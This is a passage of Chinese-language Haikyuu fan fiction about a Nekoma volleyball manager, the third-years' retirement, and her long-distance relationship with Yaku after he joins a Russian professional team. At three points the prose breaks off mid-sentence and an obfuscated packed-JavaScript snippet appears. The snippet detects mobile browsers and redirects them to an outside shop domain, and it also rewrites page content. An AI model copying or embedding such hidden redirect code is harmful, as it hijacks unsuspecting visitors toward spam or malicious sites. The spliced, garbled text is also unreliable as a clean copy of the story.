这么想着，他顺手伸手拍了拍旁边离得最近的研磨的肩膀，鼓励，“明年的招新就交给你们了，加油。” 研磨：“？”指望他吗？真的假的？ 灰羽心直口快：“黑尾前辈，咱们明年不纳新了吗？” “话不能这么说，”黑尾姑且包容了一下说话直白的后辈，他笑眯眯地摆了摆手，“这不还有你们吗，到时候记得一起分担一下二传的任务啊。” “怎么这样！” ——总之，今年最后一场全国性质的大型比赛、春高排就此算是正式地、彻底地宣告结束了。 开学后，鉴于两三个月后就是大部分大学升学考的时间，三年级的前辈们在交接完手上的诸多事务就将引退——而在此之前，猫又教练和直井监督在三年级参加的最后一次部活结束后宣布了下一届的部长和副部长。 首先是下一任部长山本前辈。 嗯……虽然因为研磨前辈一直都是音驹当之无愧的主心骨，所以私下猜测的时候有想过最后的人选会不会是研磨前辈。但再想想，研磨前辈其实完全不算是个合适的部长人选。 不擅社交、不喜社交，性格也称不上热血、比赛时带动不起情绪，且本人也完全没有当部长的意愿——部长的人选算不上是意料之外。 毕竟山本前辈本来就是很有责任心的人，而且有干劲、有实力，经过这一年的成长之后也成熟稳重了许多，户美战过后也逐渐懂得了沉下心稳住情绪，保留热血的同时也不容易上头——总之，他作为部长实至名归。 反倒是副部长的人选让人有点意外……下一任副部长是手白。 知道的时候难免意外，毕竟大家猜测副部长的人选的时候基本都没考虑过一年级的成员。但在意识到对方是谁的时候，又觉得其实也算是情理之中。 毕竟三年级引退之后，手白本来就是部员里最稳重的那个（这里的稳重不是指做事的靠谱程度），他处事沉稳，对外沟通对内协商的能力足够，虽说因为一年级的身份让人有些吃惊，但仔细想想，又会发现他的确是非常合适的副部长人选。 是非常服众的人选选择。 环视一圈，见没人有异议，猫又教练便笑眯眯地拍手，宣布部活结束、大家可以回家了。 但解散之后，大家反倒没有真的像猫又教练说的那样直接各回各家。 大家纷纷围向了今天结束后就将正式引退的三年级的前辈们。 “黑尾前辈，”灰羽第一个瞄上了部长……上一任排球部部长的黑尾，他颇有些不 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我正琢磨着之后定新队服要填的资金申请表，闻言慢了一拍才抬头，有点迷茫地侧头看向旁边的同级生，“嗯？……我为什么会伤心？” “呃……”芝山一时被问住了，他苦思冥想一会儿，试探般道，“因为三年级引退之后，夜久前辈也不会再来部活了？” 我闻言想了想，犹豫两秒，有些不确定地说：“区别应该没有很大……吧？我们中午不还是一起吃饭吗？” 芝山卡了两秒，纠结一会儿，有点迷惑地问：“……但还是有区别的吧？” 啊……那倒的确有。 比如说早训和放学之后的部活，夜久前辈都不会再来了。而没有部活之后他也不会再放学之后留在学校，所以连带着我们也不会一起回家……也就是说我们只剩下中午一起吃饭的时间了。 不过……在知道夜久前辈还在的情况下应该没有那么难接受吧？ 我其实自己也不太了解自己可能的反应，代入共情什么的也不太代得上、毕竟之前也没有出现过类似的情况。于是纠结地思考两秒，有点不确定地说：“我应该没问题的。” ……吧。 115. 后日谈5 话还是说早了。 虽然已经做了心理准备……但夜久前辈的隐退对我的影响没准比想象中的还大。 早训刚过半个小时，已经第四次下意识抬头去找夜久前辈却无果，我捏着手里用来记录数据的、用了大半的本子，盯着虽然依旧如火如荼进行着训练、但就是少了点什么的场地，半晌，沉默着深吸一口气。 ……以前怎么没意识到我有下意识找夜久前辈的习惯。我抿着唇这么想。 养成一个习惯需要七天，但戒掉一个习惯却需要很久——我算是终于体会到这句话到底是什么意思了。 鉴于这句话的范围基本可以覆盖全人类的范畴，不适应的人也理所应当地不只有我。灰羽没准是反应最大的，毕竟他和夜久前辈跟黑尾前辈的交流很多，我第不知道多少次看到他拦网失误或接球失误后条件反射地低头眼观鼻鼻观心，而后在短暂的、无人应答的几秒中意识到什么，表情一瞬间复杂不少。 研磨前辈在旁边已经快气死了，毕竟灰羽的失误率直线拔高，在总体状态都不太对的排球部剩余成员中也是格外突兀的那一个——而他正好负责这个鹤立鸡群的“鹤”。 他绷着张脸警告：“列夫，你要是再漏接我传的球，今天下午我就会把小黑叫来。” 他余光瞥到正有点发怔地站在场外不知道在干什么的我，顺着我的视线看里两眼，又转回来，面无表情加上一句：“然后让小游把夜久前辈也叫过来。” “……”灰羽双手合十举过头顶，“我会注意的研磨前辈！！”拜托别让黑尾前辈和夜久前辈两个人一起来！ 不习惯归不习惯、不舍也的确不舍，但务必不要在他失误的情况下把两位前辈叫来！他肯定得完蛋！！ 他一边在心里这么想着，一边紧闭双眼等着研磨前辈的回应。但在此之前，先等来的反倒是另外一道有点过于耳熟的声音。 “注意什么？” 夜久有点迷惑的声音自远的地方传来。 他半分钟前刚进体育馆，瞧着哪怕少了三年级前辈也依旧进行得很顺利的训练颇为欣慰，注意到我第一个盯过来的视线，还弯起眼朝我挥挥手，刚想抬步走过来，就被灰羽骤然响起的响亮声音吸引了注意。 他颇为迷惑地这么问了一嘴，而后顿了顿，凭直觉意识到什么，“你又接丢了？” 灰羽满头冷汗。 研磨在旁边毫不留情地揭他底，“这是他今天第二次没接到我的球。” 他们两个一齐盯着夜久前辈瞧，一个满脸紧张心虚、另一个面无表情颇为嫌弃，夜久瞧他们两眼，不自觉有点想笑。 但随即，他注意到这两人半晌没移开视线，始终盯着他、跟在等待审判，于是颇有些疑惑地咦了一声。 他环视一圈，指了指不远处原本正跟直井监督说着什么，此时却也被吸引了注意而看过来的山本，“看我干什么，看部长啊。” 研磨：“……” 他意识到什么，颇有点无语地移开视线，转头就想走。 旁边，灰羽咦了声，有点迷惑地问：“那夜久前辈，你过来干什么啊？”夜久这话完全就是自己已经不是排球部的部员了、排球部的事情都不要来找他的意思啊——那他过来干什么？ 还没走远的研磨：“…………” 他忍了忍，没忍住，颇有点恨铁不成钢地看了灰羽一眼，反问：“你说为什么？” 灰羽：“？” 我围观半晌，到这会儿是真的不自觉有点想笑了。 “灰羽，”我问他，“你现在知道为什么你到现在都没有女朋友了吗？” 研磨前辈压根没等灰羽回话，他在我话落的下一秒就淡淡开口，毫不留情地扎了灰羽一刀。 “因为你连夜久前辈是来找小游的都看不出来。”他淡淡撂下一句话。 他的幼驯染、和夜久一起来体育馆的黑尾伸手，拍拍灰羽的肩膀，诚恳道：“你顶着这张脸单身真的是有原因的，列夫。” “……”灰羽受不了了。 他抱怨道：“那还不是因为还有黑尾前辈你和海前辈啊！这谁想得到！” 他话落，又不爽地问：“那黑尾前辈你来干嘛？你又没有女朋友。” “……”黑尾皮笑肉不笑，“我是以引退前辈的身份来看望后辈的，懂吗？你这小子倒是给我放尊重点，会不会说话！” 前任正副部长和现任正副部长的交接本来 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我刚想习惯性地下意识说没有，但对上他通透的眼睛便不自觉抿了抿唇角，沉默了一会儿，而后难得诚实地说：“有一点。” “早训、部活，你之后都不来了的话……我们就只有中午的时候能呆一会儿了。”我说，“三年级和一年级的教室本来就离得很远。” 闻言，他想了想，问我，“不是还有放学吗？” “但你不来部活的话，和我就不是一个时间放学了。”我从他的话中意识到什么，不自觉有点怔愣，先下意识反驳了一句，随即又沉默了半晌，才轻声道，“而且……我也不想你为了陪我走在学校多呆这么久。” 没有加训的话，排球部的部活、算上打扫收拾的时间的话，其实有差不多三个小时。夜久前辈引退之后不用参加部活的话，他就比我早放三个小时。 ……虽然很想跟他多呆一会儿，如果是要让夜久前辈来等我等三个小时的话，那还是算了吧。 三年级的学生本来课业压力就很重……我不想还让他分出精力来考虑我的心情。 ……我不想这样。 116. 后日谈6 清晨掀起的微风撩起脸侧垂下的发丝。我不受控制地捏了捏手指，而后不自觉垂眼，压住心中不受控制地浮起的、混杂着点怅然和不舍的复杂心绪，转而问他，“夜久前辈，你大学的升学考准备得还好吗？” 夜久前辈的成绩算得上不错，我之前有查过全国大学所需要的偏差值和录取分数线，他的成绩再努努力就能够得上其中很不错的几所了……就是不知道夜久前辈的理想学校是什么。 不过夜久前辈应该自己也有打算就是了…… 这么想着，下一秒，我听见他似是斟酌着才开口的嗓音。 “说到这个……我其实本来打算下午放学的时候再跟你说的。”说着，他顿了顿，才继续道，“我准备高中毕业之后就去打职排。” “……”我完全没想过还有这个选项，下意识抬眼看他，一下子懵了，“啊？” 我倒是知道夜久前辈未来一定会继续打排球，凭他的实力、打职排也是大概已经确定的事……但我一直以为他会先上大学、参加四年联赛之后再签职业队的。 “嗯。”他应了声，“春高结束之后就有几支国内的职业球队递来邀请，不过之前还没彻底下定决心就是了。” 我一时感觉大脑被这个消息冲得有点懵，思绪转了两圈，而后下意识开口，揪了个字眼，“国内？” 夜久闻言微微沉默两秒，而后道：“还有一支俄罗斯的球队。” “……也是目前收到的邀请中最好的一支球队。”他一边说着，一边视线下意识移开一瞬、忽地有些不敢继续看我般，声音都连带着低了些，“我——” “不要考虑我的想法。”我条件反射地接话。 顿了顿，我抬眼，视线追着他眼睛过去，定定地着他看了两秒，而后再次郑重其事地重复，“不要考虑我的想法，夜久前辈。” “也不要因为接受了俄罗斯那支球队的邀请而对我感到……愧疚、抱歉、……，什么都无所谓，总之都不要有。”我不自觉加快了语速，声音甚至也难得混进点强势的意味，顿了顿，又忽地意识到而不自觉移了移视线，语气也忽地弱了两分，“……不要在这种时候考虑到我。” 和我不想他为了我在学校多呆两个小时一样，我同样不想让他在这种……有关于未来的、非常重要的选择上考虑到我。 不管是我的心情、我的想法……还是我们的关系，我一个都不想让他考虑到，更不想让他因此而产生哪怕一丝一毫的犹豫。 会有种……很愧疚的感觉。 不自觉偏开视线，视线虚虚落在他背后半开的体育馆的门看了两秒，我顿了很久，才转而重新看回去。 我忽地望进他因发怔而微微睁大的眼睛。 想说的话一瞬间卡壳，我不自觉有点不自然地移开一瞬视线，却沉默两秒，又很快地移回去，而后望着他，轻声地、一字一句地说：“如果这是对你来说最适合的、最好的选择的话，你不用顾忌我，夜久前辈。” 我不想成为拖慢他追求梦想的脚步的存在。 ……啊。虽然这么说的话总感觉会比事实更夸张严重一点，毕竟现在还没到这个程度……不过差不多就是这个意思吧。 思维有点不着边际地四处衍生着，下一秒，我却蓦地觉察到面前忽而被拉进的距离。 他上前一步，伸手环过我的肩背，而后轻轻地抱了我一下。 “谢谢。”我听见夜久前辈低低的、克制般响在耳侧的声音。 我垂眼看他，而后抿起唇角，弯起一个笑来。 # 虽然说是这么说、也的确高兴于夜久前辈可以在高中毕业就收到俄罗斯有名球队的邀请、去追寻自己的梦想……但就算这样，也还是不自觉地有点难过。 毕竟俄罗斯……不光跟东京离得远，还和日本五六个小时的时差。 ……好遥远啊。 舌尖不自觉抵上上颚，片刻后，我伸手同样回抱住他，再轻轻偏头，让脸侧的皮肤贴上他的。 ……所以才要更加、更加地珍惜现在在一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“听起来已经完全确定并且解决一切可能阻碍到的东西了嘛。”黑尾挑眉道。 “差不多，”夜久道，“所以才是宣布好消息啊。没解决的话就是来征求意见了。” 黑尾笑了一下。 总之—— “恭喜啊，夜久/夜久前辈。” 恭喜你踏上了追求热爱和梦想的道路。 117. 后日谈7 因为要尽早前往俄罗斯适应环境、适应训练，所以夜久前辈前往俄罗斯的日子也很早，就在三月份毕业典礼的后两天。 而在此之前，虽然因为没有上大学的打算而比在备考的黑尾前辈和海前辈闲一点，但毕竟还有高三最后一年的期末考试，所以夜久前辈比我想象中而忙碌一点。 嗯……毕竟除了学业相关，他也需要继续保持训练，比如日常锻炼的晨跑、为了之后去俄罗斯的俱乐部而进行的排球相关的训练，还有另外的、在空闲时间提前开始学习的俄语。 不管从哪个层面上都算得上忙碌，所以虽然他现在只有最后两个月的、呆在日本的时间，我们聚在一起时更多的也不是一起出去玩、一起出去约会，而是一起出来找家甜品店自习室、又或者干脆直接在我家，两个人安安静静地呆一天，自己做自己的事情。 他一点点从最基础的地方开始学俄语，再为接下来的期末考试复习、不至于让自己的高中生涯最后两个月的成绩惨遭滑铁卢而断崖式下跌；我则因为对成绩没那么看重没什么关于期末的压力，想了想，在一次跟夜久前辈出去逛街时拉着他进了书店，买了几本乐理的基础书和进阶书回去。 夜久前辈原本有点惊讶，但想到我学了很久的吉他，便又觉得合理很多。 我看着他提前伸手，先我一步接过店员包装好递来的、装在袋子里的书，而后偏头，有点好奇地问：“打算学音乐？”他看我除了入门的基础书之外还买了进阶的。 我正牵着他的手拉着他率先往外走，闻言想了想，稍微有点不太确定地说：“差不多吧？” 推开的门，而后被初春时刮进来的、还带着冷意的风吹地不自觉缩了缩脖子，我扯了下外套，接着道：“之前了解了一下大学的各种专业……总觉得学这些不如去学音乐。刚好之前有学吉他。” 法学医学商学农学……总之有一个算一个，感觉都不太适合我。但真要说的话直接拍板定将来去学音乐又多少让我有点没安全感，总觉得学音乐赚不了很多钱，而没有固定收入的话，存款再多也早晚有花完的时候。 嗯……不过反正现在才高一，不用考虑这么多东西，先提前开始学也没什么坏处，总归还有两年呢。 外面稍微有点凉，我一边这么说着，一边不自觉往他身后靠了靠，而后继续道：“要是学得还可以的话，大学没准会考音乐大学吧。” 我语气平平淡淡，只是很普通地随口说了句有关于未来选择的可能，真要说的话其实就连我自己对此都没怎么上心——哪怕难以否认这整个高一所经历的事情的的确确改变了我很多，但至少在关于未来的选择，我时至今日依旧没有个打算。 ……虽然之前聊起过的时候，同级生们和我的答案基本没有区别就是了。毕竟大家都是高中生，对未来迷茫才是常态。 “那很好啊。”夜久前一边抬头看路，辨认着回家的方向，一边这么道，“可以继续自己喜欢的东西的话，就算最后没有选择以此为职业也很好。” 我说得平淡而随意，他顺应我的态度便也没有多郑重，更多注意的还是路况（毕竟我们正准备过马路）。只是我闻言还是不自觉顿了顿，下意识侧头看向他，刚想说吉他和音乐都不算喜欢的东西、又半道突然顿住。 我很久没有想过这事了，但上次到底是什么时候想过这件事……倒也的确想不太起来具体是什么时候，只是姑且还有点关于最后回答的印象。 我那时说吉他和摄影都称不上是爱好，顶多是为了打发时间的消遣……但现在反倒完全说不出这样的话。 ——不喜欢吉他和摄影的话，凭我的性格绝对是坚持不了这么久的吧。 我这么想。 之前尝试的这么多东西都挑着理由挨个回绝，当时只觉得自己在这方面还算理智、分析过利弊之后才做出选择，但现在想来，分明吉他和摄影也各有各的不好。 吉他笨重难携带，相机一个比较好的就贵得要死，明明也不是没拿这种理由婉拒掉很多东西，但最后偏偏就是留下了这两个。 ……还一点也没有意识到，一直觉得自己只是因为方便便捷而选择的吉他和摄影。 空闲的手手指无意识收紧，我搓了搓用来按弦的左手手指指尖，触到那层在长年累月中留下的厚茧，半晌，不自觉微微弯起嘴角。 在夜久前辈有些疑惑于我没回话而看过来前，我难得轻快地开口：“是很好。” 我弯着眼睛，伸手收紧了同他牵在一起的手掌，忽而有些释然般轻呼了一口气，而后继续道：“能继续喜欢的东西真的很好。” 为了追随梦想前往异国训练的夜久前辈也一样——哪怕异国他乡遥远且陌生，他也一定很开心吧。 我这么想。 # 高一高二的期末考试、以及高三的结业考，终于于某一天降临在了日复一日的生活当中。 和平时没什么不同。 围观了一会儿班里一群包括灰羽在内的人蹲在教室外面默背公式，我在预备铃响起时准时进了考场。 也许有没人给我压力的原因，我对考试其实一直没什么畏惧感，真的上考场时也因为平时上课认真听讲、课业认真完成而没什么紧张的情绪在，维持着平常心普普通通地写完卷子再检查，最后在响铃后走出作为考场的教室。 接连几场都是这样，只有最后一场，我在考完后没再留下，而是直接出了教学楼。 高中的期末考试通常会考三到五天，每天上午考两三科，下午则不上课、可以直接解散，我便和夜久前辈约好了在考试全部结束后的下午一起出去约会。 今天的音驹格外热闹。 不管是考得好不好、发挥有没有发挥出来，成绩总归都不会在今天公布，大家开开心心地准备回家渡过自己的假期。于是周围人声鼎沸嘈杂，虽然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309467|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吵闹，但也满赋青春的少年气。 我还没找着夜久前辈人在哪里，下一秒，便被突然拍了拍肩膀。 灰羽在我身后，凭着身高优势远远看到那边的夜久，便热心地跟我指了路，还好心说他可以把我举起来自己看夜久前辈在哪里。 我委婉拒绝，然后转头，辨认了一下刚刚灰羽指的方向，便朝着夜久前辈小跑而去。 我们今天准备去看樱花——三四月份，只要在日本的情侣就很难跳过这么一遭。 虽然三月初的樱花开得很少，也不是最佳的赏樱期，但鉴于夜久前辈过几天的毕业典礼之后就要走了，我们便四处找了找，选择去了有早樱群的公园——我出门前还专门带了相机和拍立得，不管是没怎么拍过的樱花的风景、还是拍得不多的合照单人照都可以拍。 时期原因、加上是非假期的工作日，今天公园的人很少，虽然相较于一年前已经没那么在意出门时周围的人流量，但我还是难免地放松了很多。 拍人、拍景，我们牵着手在樱花树下散步聊天，偶尔一阵风吹过来，将几片本就将落的樱花花瓣吹到发顶，便停下互相理理头发，再四处看看，见没人，便凑在一起，交换一个干燥的、温热的、不算很长的吻。 交融的清浅呼吸声被淹没在微风拂过树梢带来的细微响动里，我察觉到刮过脸颊的微风，于是抬眼看他两秒，再上前贴一贴他的唇角。 # 我那时希望时间能永远停留在这一刻。 我贪恋这一刻的温存，盼望幸福可以永远不停歇地持续下去。但这不现实，人们总是要一刻不停地向前走的。 三天后的毕业典礼结束，夜久前辈便准备动身，前往俄罗斯的叶卡捷琳堡。 我去机场送他。 这会儿来往的行人要么是为了工作出差的打工人、要么是考试结束出去旅游的学生，总归是马上就要回来的人，像夜久前辈这样过去打职业的、不知道什么时候才能回来的反倒才是少数。 他父母和两个双胞胎弟弟也在，我和他们在过年时第一次见面到现在这三个月中见过挺多次，还算熟悉（除了叔叔阿姨人好之外，夜久前辈在里面发挥的作用应该也很大），但我这种时候总归不好凑上去打扰他们家人之间的道别，便站在一边，时不时低头看一下时间，免得时间拖长了最后晚点。 和预想中会和夜久前辈和他父母弟弟之间多说了很久差不多的样子不同，真到了分别的时候，我和他反倒都没什么话说。只沉默着互相对视一会儿，再伸手抱了一下，他收紧环住我肩背的手臂、我则圈紧他腰身，一起安安静静呆了两秒，而后轻声地、郑重地道了声别。 “再见。”我想了想，又补上一句，“要小心，注意安全。” 我看到他笑了一下，“我会的。再见。” # 再见、再见。 我期待着在更好的将来与他重逢。 118. 后日谈8 三月份到四月份的春假，这一整个假期我几乎都没怎么出过门，一直在家闷着，但真要说起来其实也算得上充实。 我买了平板，对着网上的资料提前预习了下学期的课程的同时，还继续更深入地学习了音乐相关的各种知识。 因为将目标定在了全国最好的音乐大学上，所以我专门了解了一下大学的入学考核，再将其中的内容整理成接下来的学习计划，准备尽力努力一下，看看最后能不能考上东京艺术大学。 而除了学业之外……我还因为私心，在学习计划里面额外加上了有关于英语的学习和口语化练习、还有一点俄语。 我想在出国后可以和外国人正常地交流、沟通，不因语言方面的原因而受到掣肘。在这方面，摆在与外国人交流前的首先便是从小到大学的错误口音。 了解过后，终于日式英文对交流的影响究竟有多深，我于是颇为凝重地把调整口音这事先提上日程，在网上找了外教。 看介绍说是在日本留学的外国学生，英语的口语很标准……标准到感觉不像母语是英文的外国人。从对方线条柔和的东亚面孔来看，猜测也许是隔壁大国的留学生。 总之，一切学习计划都在有条不紊地进行当中。 直到四月份时，新的学年开始。 音驹每个学年都会将全年级的学生打乱再重新分班，我一年级时跟灰羽分到了同一个班，但分班后，我们没有再次分到一起、我也没跟排球部的其他人分到同一个班。 整个班大部分都是陌生的人，仅有零星几个是认识的、之前一年级时的同学。我对此倒是没什么感觉，等二年级的课本发下来、新的班主任老师自我介绍完宣布解散后，便率先离开去了排球部参加招新。 新生入学典礼后紧随而来的社团纳新，大概是每年除体育祭和文化祭之外校内最热闹的日子，社团的前辈们都热血朝天地宣传自己所处的社团，想方设法地试图招揽新生加入其中——毕竟新人本身就意味着接下来社团的希望，人多了、社团才好更好地发展下去。 已经成为部长的山本前辈非常认可这个理念，他握拳道：“为了排球部的新鲜血液，大家都要努力招新！！争取多招几个人加入排球部！” 眼睁睁看着他热血沸腾地拉过其他人，开始叮嘱大家招人的时候要逮着所有有可能的人推荐排球部、不能因为是陌生人而退缩，我默了默，多少有点心情微妙地转头，看向因性格原因而和我一样从头便被他排除在外的研磨前辈。 我想了想，犹豫着问：“血液论……不是黑尾前辈发明出来的吗？” 被血液传输养分的大脑很快领会到我的意思，他无言地沉默良久，而后幽幽道：“我也想知道这套理论为什么现在还存在。” ——小黑到底为什么毕业了还非得留下点什么东西在排球部啊，这对他有什么好处吗？？ 我琢磨了一会儿，诚恳道：“我觉得它还会再存在个几年的。” 至少灰羽和犬冈在的话，这个口号就能一直延续下去，要是新生也有几个热血性格的话，我估计这个延续的时间还能再加两年。 毕竟作为防守型的队伍，虽然口号最初是根据研磨前辈的情况量身定做的，但它也的确可以继续适配接下来会因为时间经历大换血的音驹的。 精准的、稳妥的、丝毫不差的一传。这就是血液所运送的氧分。 但研磨前辈闻言幽幽盯了我一会儿，半晌，真心实意道：“我觉得这不是一个好消息。” ——但这是事实。我试图用眼神传递这个意思。 研磨拒绝接受现实。他面不改色地沉默移开视线，假装什么也没领会到。 # 今年的排球部招收到的新生算不上少，但也称不上很多，部员比我们当初这一届多一个，经理则少一个——也就是没有招收到经理的意思。 这倒也不奇怪，会选择来运动社团当经理的人不管怎么说都是少数，没有经理其实才是常态。 山本：“所以说乌野和枭谷他们当时就是走狗屎运了啊！两个！足足两个！” 犬冈路过好心安慰，“没事啊山本前辈，他们现在都只有一个了。” 所熟识的几所学校的经理中，三年级的清水学姐、白福学姐和大泷学姐都已经毕业了，甚至现在森然他们都没有经理了。 毕竟整个枭谷联盟、再加上乌野，今年都没招到新的经理。 山本前辈沉思两秒，好了：“有道理啊！我们还是最强的！” “……？”研磨迷惑，“强在哪里？”不都只有一个经理？ 山本双手环胸表情严肃：“他们可没有拉拉队和拉拉队队长，还是我们赢了。” “……”研磨无言，“行。” “而且小茜之前有说过高中要来音驹。”山本前辈想了想，又道，“到时候我们就有两个经理了。” 虽然他那会儿已经毕业了，但音驹有两个经理就是他有两个经理，差不多的。 他如此自信地想。 ＃ 总之，高二的生活和原先大体上依旧没什么区别，大家还是吵吵闹闹热热闹闹的样子，我对此适应良好。 不过除此之外……还是有点区别的吧。 时间与经历带给我的改变的确很大，一年前的我大概想不到，一年之后的自己已经慢慢成长为了一个姑且还算合格的“前辈”角色，之前有不小心听到过几个新生私底下讨论的关于排球部日常靠谱程度的排行榜，我出人意料地得了第一的位置。 ……也许是因为我平时不怎么参与他们之间的打闹？像之前三年级的前辈们那样，虽然大家真要说起来都是关键时候能抗事的、靠谱的人，但通常情况下大家的确会觉得海前辈会更沉稳一点。 毕竟夜久前辈和黑尾前辈很多时候都没什么前辈架子，经常性的拌嘴打闹虽然不会减免大家对他们的信任程度，但下意识肯定是会觉得更沉稳的海前辈要靠谱一点。 总归还是形象问题，毕竟灰羽和犬冈就荣据榜末了。 除去排球部的一系列我经历一次后已经足够有经验而熟门熟路的工作、以及进展顺利的人际关系之外，我在音乐方面的学习计划也没有因为开学而被耽搁。 一切稳步 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309468|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进行……不过说来惭愧，在其他地方用了更多精力之后，学校本身的成绩反而掉了一点。 虽然还是能维持在前十……不过还是因此被老师找去谈过几次，说什么对我很有信心、之后肯定能考一个很不错的大学，所以建议我现在还是专注学业之类的。 班主任甚至还颇为凝重地打探过我的感情状态，隐晦地劝我不要为了无谓的感情放弃更加重要的东西，比如考一个好大学谋一个好前途。 我多少有点无奈而哭笑不得的感觉，但在老师面前还是没解释什么，只是乖乖地一一应下，说自己感情状态稳定、保证之后会继续保持原本的成绩，而后被半信半疑的老师放走。 那时候第一学期已经过去大半了，五六月份的东京已经彻底褪去了初春时混杂的那点冷意，明媚的阳光透过窗沿洒在身上，带来点叫人贪恋的暖意。 我顺着阳光的方向朝外看去，望见正安安静静地舒展着新生枝条的樱花树。 一个月前它还绽着漂亮的樱粉色小花、将音驹连成一片柔软而灿烂的樱粉色花海，但一个月后的现在，渡过花期的花朵早早便落在地上、嵌进泥里，粉色在这数天中早早地消失殆尽，但取而代之的，却是鲜亮浓绿的、饱含生机的新生枝条与叶片。 我瞧着它，不自觉想起两三个月前，同夜久前辈一起去新宿看的那片早樱。 记忆依旧鲜艳而鲜明，我轻而易举地想起那时拂过脸颊的微风、想起漫在空气中那点细微的樱花香、想起落在发间的浅粉色花瓣、想起我和他在樱花树下交换的那几个吻。 我低头看眼亮起的手机屏幕。他所在的叶卡捷琳堡的时间比东京要快上四个小时，我这差不多四点出头，阳光不再猛烈，再过几个小时就将沉入远处的地平线，转而迎来漂亮的夕阳；他那却正午刚过十来分钟，虽说俄罗斯气温偏低，但也是一天中最为温暖的时候。 我看过他的训练表，他们中午有两个小时的休息时间，午饭、午休加在一起，虽然夜久前辈习惯性加练，但这个时间刚好差不多卡在休息时间的正中，他要么准备吃饭、要么正在吃饭、要么已经吃完饭准备休息，反正这会儿肯定有空。 我于是点开同夜久前辈的聊天框，刚准备打点什么消息过去，便看到他十来分钟前给我发的照片。 是叶卡捷琳堡街道边的绿植，那边天气很好，阳光明媚而灿烂，洒在青绿色叶片上能在叶片边缘染上点漂亮的金芒，画面没什么太讲究的构图，大概是随手一拍的产物，但蓬勃的生命力也依旧能透过画面传到我这边来。 【Yaku：回家了回家了】 【Yaku：是上次跟你说过的那家咖啡厅外面的！长得真好啊】 【Yaku：什么时候有时间了我也在公寓里养点绿萝多肉什么的吧】 我盯着屏幕看了很久，半晌，才轻轻抿了抿唇，没回答他的话，而是犹豫两秒，手指在屏幕上按了几下。 【游：我想你了】 消息很快显示已读。 过了一会儿，捏在手里的手机也轻轻地震动了一下。 【Yaku：我也是】 119. 后日谈9 俄罗斯和日本的时差摆在那里，事实上，我和夜久前辈每天的交流不能算多。 他本身就忙，一天里有很长时间因为训练拿不到手机，空闲时间基本只有早中晚吃饭前后，而这样的时间转换到东京，他早上的时候我在上课、中午我在去部活的路上、晚上我已经睡了。 消息倒是不算难办……我们惯常是有空的时候就发，然后过几个小时等对方有时间了再回，虽说间隔了很长时间，但也没太受过长距离的影响。 只有打电话打视频很难找到机会，偶尔周末才有时间可以聊一会儿，他休息的话就是视频，在俱乐部训练的话就是语音，总归一直都有联系交流，没出现过我之前上网搜到过的、异国恋情侣之间因为距离时差而出现的乱七八糟的事情。 对还未发生的事情的担忧与对事情还未发生的庆幸一起弥漫在心底，但最初几个月的焦躁过后，我逐渐习惯了与其共处。 我想这点情绪在我真真切切地同他处在同一片空间、与他拥抱之前都不会消失，但逐渐习惯它们的存在之后，我反倒没再为此烦恼过。 我在这数个月里习惯了很多东西。 习惯周围没有他的存在，习惯没法面对面地和他身处同一片空间、习惯有空给他发消息时聊天气泡下常年显示的未读、也习惯过几个小时他有空后接二连三震动起来的手机。 我习惯在睡前期待第二天早晨收到他的消息、习惯在睡醒跟他道一句早安再分享自己的早餐、习惯在第二节课下课时收到他睡醒后发来的相同句式的回复。 我发现我们之间的距离也许并没有那么遥远、我们似乎每天都在相遇。 和从前是很不一样的感觉。 我偶尔会感觉我和夜久前辈像再互相寄信一样，他发来长长的讯息，我一一回复，然后也再次发去同样的、长长的讯息。 是毫无言语却默契地形成的循环。 维持住循环的大概是爱吧。 我从这长长的、无止境般的循环与爱中得到了很多很多的安全感。我想我大概会因此更喜欢他。 ——他会一样吗？他会一样吧。。 带着耳机，听着对面仿若近在咫尺的、夹杂着电流音的吐槽最近遇到的一些莫名其妙的倒霉事，我一边回、一边在话语的间隙中不自觉地冒出点裹着笑意的气音 声音在传到麦克风里之前便无声地溃散在空气当中，我抱着那个浅咖色的、已经有些旧了的小熊玩偶，不自觉抬眼，视线落在去年秋末买的暖桌上，又看了看上面用相框框出来的两张拍立得。 是是当初去看樱花的时候拍的一张合照、还有高一圣诞节时拍的另一张合照。 我看了半晌，忽而感觉心里又安定很多。 虽然现在和去年相比、产生的变化不可谓不多……但我想，我们之间总有东西是不会变化的。 我忽然很期待下次的见面。 于是这通电话的结尾，我临时补上一个问题。 “夜久前辈，”我这么问他，“你今年会回来吗？” 他闻言在电话那头顿了顿，似是回忆了一会儿，才回道：“应该回不来吧。” 他这一年为了首发的位置，除了队里的训练之外还在身体极限内加了很多加练，训练任务很重，索性努力也有回报，他在这会儿便已经被选为自由人替补——不过很不巧的是，他们今年新年这几天有比赛，所以假期被缩了很多，剩下的时间哪怕回国也只能呆一两天，索性干脆不回了、等放假之后再回来。 我在此之前倒也有所预料，闻言虽然还是难免有点失望，但总体还算平和，只是“哦”了声，想了想，又问：“那你们到时候应该有假期的吧？” “新年吗？那会儿有两天假。”他回想了一下，这么回道。 “那到时候我们一起跨年吧。”我道，“我也有假期。” “欸？”夜久似是愣了一下，而后最先想到什么，“我们不是差四个小时？” 